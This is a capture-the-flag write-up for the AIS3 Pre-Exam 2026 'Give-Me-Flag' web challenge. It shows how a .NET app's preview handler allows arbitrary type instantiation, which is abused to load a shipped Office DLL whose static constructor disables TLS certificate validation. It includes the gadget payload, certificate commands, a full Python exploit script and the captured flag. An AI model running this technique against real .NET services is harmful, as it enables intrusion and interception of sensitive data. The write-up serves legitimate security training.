【AIS3 Pre-Exam 2026 Writeup】Web - Give-Me-Flag
Bundle files first. No source project, only published .NET files.
Dockerfile
docker-compose.yml
publish/GiveMeFlag.dll
publish/Microsoft.Office.Server.Search.Connector.dll
publish/Microsoft.Office.Server.Search.dll
...
docker-compose.yml already gave the first useful clue.
environment:
FLAG: 'AIS3{fake}'
Challenge__Host: 'flag-dropbox.givemeflag.internal'
Challenge__PostPath: '/api/flag'
Challenge__Port: '443'
Challenge__TimeoutSeconds: '6'
So the app should send the flag to /api/flag on port 443. The host name is fixed to flag-dropbox.givemeflag.internal.
The binary is .NET, so normal gdb was not the useful tool here. ILSpy made more sense.
ilspycmd -p -o /tmp/givemeflag-decomp publish/GiveMeFlag.dll
ilspycmd -il -o /tmp/givemeflag-ills publish/*.dll
The index page calls FlagDeliveryService.SendAsync. The decompiled code reads the config like this:
_flag = configuration["FLAG"] ?? "AIS3{missing_flag}";
_host = configuration["Challenge:Host"] ?? "flag-dropbox.givemeflag.internal";
_postPath = configuration["Challenge:PostPath"] ?? "/api/flag";
_port = int.TryParse(configuration["Challenge:Port"], out var port) ? port : 443;
The request creation part was more important.
HttpWebRequest request = WebRequest.CreateHttp(endpoint);
request.Method = "POST";
request.Host = _host;
request.ContentType = "application/json";
IL showed the endpoint is built from the submitted IP:
UriBuilder("https", targetIp.ToString(), port)
Path = _postPath
The body is JSON:
{
"flag": "...",
"challenge": "GiveMeFlag",
"sent_at": "..."
}
The input is parsed with IPAddress.TryParse. That means no hostname in the form.
Input.TargetIp -> IPAddress.TryParse(...)
Hostname-only tunnel ideas died here. Cloudflare Tunnel gives a hostname. Some other HTTP tunnel services also only give a hostname. The app wants an IP, so those are not directly usable.
First I tried the most direct path: run an HTTPS listener and submit my IP.
The local test failed before any flag body arrived.
The SSL connection could not be established
The remote certificate is invalid because of errors in the certificate chain: UntrustedRoot
So a self-signed cert is not enough. The server validates TLS.
There is a /Support page. The normal flag form only had the IP field, so this page was worth checking. The preview handler looked strange after decompilation.
CardText = PreviewComponentResolver
.Create(Preview.Template, Preview.Accent)
?.ToString();
PreviewComponentResolver.Create() does this:
public static object? Create(string component, string variant)
{
return Activator.CreateInstance(
ResolveComponentType(ParseDescriptor(component, variant))
);
}
ParseDescriptor() has a metadata syntax with #.
int num = text.IndexOf('#');
if (num >= 0)
{
metadata = Uri.UnescapeDataString(text.Substring(num + 1));
text = text.Substring(0, num);
}
Then ResolveComponentType() uses that metadata as a type name.
Type type = Type.GetType(
!string.IsNullOrWhiteSpace(descriptor.Metadata)
? descriptor.Metadata
: ResolveBuiltInTypeName(descriptor),
LoadFromApplicationDirectory,
null,
true
);
Only a few checks are done:
not abstract
not interface
has public parameterless constructor
After that:
Activator.CreateInstance(type)
That gave an arbitrary type instantiation primitive inside the published app directory. Direct RCE gadgets were my first thought, but I did not find a clean trigger. No obvious command execution type, no path.
The TLS problem was still unsolved, so the next search was certificate validation code inside shipped DLLs.
rg -n "ServerCertificateValidationCallback|ValidateCertificates" /tmp/givemeflag-ills
The search found a better gadget in Microsoft.Office.Server.Search.Connector.dll:
Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility,
Microsoft.Office.Server.Search.Connector
Relevant IL:
.method private hidebysig static bool ValidateCertificates(...) cil managed
{
IL_0000: ldc.i4.1
IL_0001: ret
}
.method private hidebysig specialname rtspecialname static void .cctor () cil managed
{
IL_0000: call ServicePointManager::get_ServerCertificateValidationCallback()
IL_0006: ldftn ExchangeSystemUtility::ValidateCertificates(...)
IL_0011: call Delegate::Combine(...)
IL_001b: call ServicePointManager::set_ServerCertificateValidationCallback(...)
IL_0020: ret
}
The static constructor adds a callback that always returns true:
ServicePointManager.ServerCertificateValidationCallback += ValidateCertificates;
Process-wide state. If /Support instantiates this type once, later outbound HTTPS requests from the same process accept my self-signed certificate.
The payload for the preview template:
x#Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility, Microsoft.Office.Server.Search.Connector
The x before # is just filler. The type metadata after # is the real payload.
Local fake-flag testing confirmed it. Before the preview payload, HTTPS delivery failed on certificate validation. After the preview payload, the fake flag reached my listener.
Next problem was the callback IP. My public home IP did not receive the connection. NAT killed that idea.
Serveo accepted a reverse TCP-looking command for flag-dropbox.givemeflag.internal:443, but the TLS handshake died before reaching my local listener. No request hit the collector.
localhost.run also did not help. Custom domain needed an account/key. No trigger.
The working path used AIS3 VPN. Windows had this VPN IP:
10.26.1.142
WSL had the actual collector:
172.30.138.254:443
Windows user-mode TCP forwarder:
10.26.1.142:443 -> 172.30.138.254:443
After that, a local curl test to 10.26.1.142:443 reached the WSL HTTPS collector. So the form input should be 10.26.1.142.
Generate a cert:
openssl req -x509 -newkey rsa:2048 -nodes \
-keyout /tmp/gmf.key \
-out /tmp/gmf.crt \
-days 1 \
-subj '/CN=flag-dropbox.givemeflag.internal'
Full exploit script:
#!/usr/bin/env python3
import os
import re
import ssl
import queue
import subprocess
import threading
import http.server
from pathlib import Path
import requests
TARGET = os.environ.get("TARGET", "http://chals1.ais3.org:31323")
CALLBACK_IP = os.environ.get("CALLBACK_IP", "10.26.1.142")
CERT = Path("/tmp/gmf.crt")
KEY = Path("/tmp/gmf.key")
GADGET = (
"x#Microsoft.Office.Server.Search.Connector.BDC.Exchange."
"ExchangeSystemUtility, Microsoft.Office.Server.Search.Connector"
)
got_flag = queue.Queue()
def ensure_cert():
if CERT.exists() and KEY.exists():
return
subprocess.check_call(
[
"openssl",
"req",
"-x509",
"-newkey",
"rsa:2048",
"-nodes",
"-keyout",
str(KEY),
"-out",
str(CERT),
"-days",
"1",
"-subj",
"/CN=flag-dropbox.givemeflag.internal",
]
)
def token(html):
m = re.search(
r'name="__RequestVerificationToken"[^>]*value="([^"]+)"',
html,
)
if not m:
raise RuntimeError("no antiforgery token")
return m.group(1)
class Handler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
n = int(self.headers.get("Content-Length", "0") or "0")
body = self.rfile.read(n)
print("--- flag request ---", flush=True)
print(f"{self.client_address} POST {self.path}", flush=True)
print(str(self.headers), flush=True)
print(body.decode("utf-8", "replace"), flush=True)
self.send_response(200)
self.end_headers()
self.wfile.write(b"ok\n")
got_flag.put(body)
def log_message(self, fmt, *args):
print("LOG " + fmt % args, flush=True)
def start_collector():
ensure_cert()
httpd = http.server.HTTPServer(("0.0.0.0", 443), Handler)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(str(CERT), str(KEY))
httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
th = threading.Thread(target=httpd.serve_forever, daemon=True)
th.start()
print("[+] HTTPS collector on 0.0.0.0:443")
return httpd
def main():
httpd = start_collector()
s = requests.Session()
print("[+] trigger /Support gadget")
r = s.get(f"{TARGET}/Support", timeout=5)
r.raise_for_status()
t = token(r.text)
r = s.post(
f"{TARGET}/Support?handler=Preview",
data={
"Preview.Template": GADGET,
"Preview.Accent": "calm",
"__RequestVerificationToken": t,
},
timeout=5,
)
r.raise_for_status()
print("[+] submit callback IP", CALLBACK_IP)
r = s.get(f"{TARGET}/", timeout=5)
r.raise_for_status()
t = token(r.text)
r = s.post(
f"{TARGET}/",
data={
"Input.TargetIp": CALLBACK_IP,
"__RequestVerificationToken": t,
},
timeout=10,
)
r.raise_for_status()
body = got_flag.get(timeout=15)
print("[+] received body:")
print(body.decode("utf-8", "replace"))
httpd.shutdown()
if __name__ == "__main__":
main()
Run it after the callback IP can really reach the collector:
CALLBACK_IP=10.26.1.142 python3 exploit.py
The collector received:
POST /api/flag HTTP/1.1
Host: flag-dropbox.givemeflag.internal
Content-Type: application/json
Body:
{
"flag": "AIS3{c_5h4rp_c0n57ruc70r_p0llu710n_240f779e9caa40acaabdc8b5a66d465b}",
"challenge": "GiveMeFlag",
"sent_at": "2026-05-16T21:49:37.7457041+00:00"
}